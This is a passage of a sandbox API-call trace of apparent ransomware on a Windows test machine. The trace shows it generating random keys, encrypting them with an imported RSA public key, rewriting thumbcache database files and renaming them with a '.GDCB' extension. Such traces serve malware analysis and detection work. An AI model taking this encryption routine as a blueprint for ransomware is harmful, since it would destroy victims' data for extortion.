phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0205.113] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0890) returned 1 [0205.113] CryptGetKeyParam (in: hKey=0x50d0890, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.114] CryptEncrypt (in: hKey=0x50d0890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.114] GetLastError () returned 0x0 [0205.114] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.114] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.116] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0ed0) returned 1 [0205.116] CryptGetKeyParam (in: hKey=0x50d0ed0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.116] CryptEncrypt (in: hKey=0x50d0ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.116] GetLastError () returned 0x0 [0205.116] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.116] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_256.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.118] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0205.120] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0205.121] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0205.139] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0205.174] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_256.db.gdcb")) returned 1 [0205.178] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.181] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.181] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.181] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.181] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.182] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.183] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.183] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.183] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0205.185] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0dd0) returned 1 [0205.186] CryptGetKeyParam (in: hKey=0x50d0dd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.186] CryptEncrypt (in: hKey=0x50d0dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.186] GetLastError () returned 0x0 [0205.186] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.186] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.188] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0f10) returned 1 [0205.188] CryptGetKeyParam (in: hKey=0x50d0f10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.188] CryptEncrypt (in: hKey=0x50d0f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.188] GetLastError () returned 0x0 [0205.188] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.188] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_2560.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_2560.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.189] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0205.191] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0205.192] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.197] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0205.198] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0205.199] VirtualFree (lpAddress=0x6c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.200] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.200] WriteFile (in: hFile=0x510, lpBuffer=0x6c70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.200] VirtualFree (lpAddress=0x6c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.201] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.205] WriteFile (in: hFile=0x510, lpBuffer=0x6b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b20000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.205] WriteFile (in: hFile=0x510, lpBuffer=0x6b30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b30000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.205] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.205] CloseHandle (hObject=0x510) returned 1 [0205.205] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.206] VirtualFree (lpAddress=0x6b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.207] VirtualFree (lpAddress=0x6b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.208] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_2560.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_2560.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_2560.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_2560.db.gdcb")) returned 1 [0205.212] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.214] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.215] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.215] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.215] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0205.216] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.217] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.217] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.217] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.217] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.219] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0d10) returned 1 [0205.219] CryptGetKeyParam (in: hKey=0x50d0d10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.219] CryptEncrypt (in: hKey=0x50d0d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.220] GetLastError () returned 0x0 [0205.220] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.220] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.221] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d08d0) returned 1 [0205.221] CryptGetKeyParam (in: hKey=0x50d08d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.222] CryptEncrypt (in: hKey=0x50d08d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.222] GetLastError () returned 0x0 [0205.222] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.222] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.223] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b40000 [0205.225] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b50000 [0205.226] ReadFile (in: hFile=0x510, lpBuffer=0x6b50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesRead=0x285d670*=0x100000, lpOverlapped=0x0) returned 1 [0205.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0205.266] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_32.db.gdcb")) returned 1 [0205.270] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.272] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.273] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.273] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.273] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.273] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.275] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.276] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.276] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0205.278] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0c10) returned 1 [0205.278] CryptGetKeyParam (in: hKey=0x50d0c10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.278] CryptEncrypt (in: hKey=0x50d0c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.278] GetLastError () returned 0x0 [0205.278] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.278] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0205.281] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0c50) returned 1 [0205.281] CryptGetKeyParam (in: hKey=0x50d0c50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.281] CryptEncrypt (in: hKey=0x50d0c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.281] GetLastError () returned 0x0 [0205.281] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.281] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.285] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.288] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.288] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.288] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0205.289] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.290] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.290] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.290] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.293] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0a90) returned 1 [0205.293] CryptGetKeyParam (in: hKey=0x50d0a90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.293] CryptEncrypt (in: hKey=0x50d0a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.293] GetLastError () returned 0x0 [0205.293] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.293] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0205.295] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0d50) returned 1 [0205.295] CryptGetKeyParam (in: hKey=0x50d0d50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.295] CryptEncrypt (in: hKey=0x50d0d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.295] GetLastError () returned 0x0 [0205.295] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.295] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_768.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_768.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.297] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b60000 [0205.298] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b70000 [0205.299] ReadFile (in: hFile=0x510, lpBuffer=0x6b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.306] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0205.308] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0205.309] VirtualFree (lpAddress=0x6c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.309] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.310] WriteFile (in: hFile=0x510, lpBuffer=0x6c90000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.310] VirtualFree (lpAddress=0x6c90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.311] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.314] WriteFile (in: hFile=0x510, lpBuffer=0x6b40000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b40000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.314] WriteFile (in: hFile=0x510, lpBuffer=0x6b50000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b50000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.314] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.314] CloseHandle (hObject=0x510) returned 1 [0205.315] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.316] VirtualFree (lpAddress=0x6b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.317] VirtualFree (lpAddress=0x6b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.318] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_768.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_768.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_768.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_768.db.gdcb")) returned 1 [0205.322] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 